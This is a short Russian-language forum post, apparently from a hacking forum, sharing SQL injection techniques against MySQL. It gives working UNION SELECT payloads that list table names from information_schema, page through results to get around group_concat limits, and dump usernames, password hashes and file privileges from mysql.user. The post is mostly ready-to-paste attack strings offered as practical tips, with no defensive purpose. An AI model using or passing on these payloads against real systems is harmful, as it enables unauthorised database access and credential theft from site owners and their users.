Это изврат.

Куда менее гимморойно :
a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema!='informat ion_schema'
вывод(допустим):
yes
no
lol
следующим запросом вбиваем последнюю из выведенных колонок:
a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema!='informat ion_schema'+and+table_name>'lol'
И вывод пойдёт с неё по алфавиту

Это описывал l1ght
https://forum.antichat.ru/showpost.php?p=1087388&postcount=5144

Или различные групировки по полям, базам и т.д. в которых отлично работает лимит
a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+group+by+table_schema+limit+1 ,1

a=-1+union+select+group_concat(concat_ws(0x3a,user,pa ssword,file_priv))+from+mysql.user+group+by+file_p riv+limit+1,1

Которые тоже уже описывались мной:
https://forum.antichat.ru/showpost.php?p=1090945&postcount=5213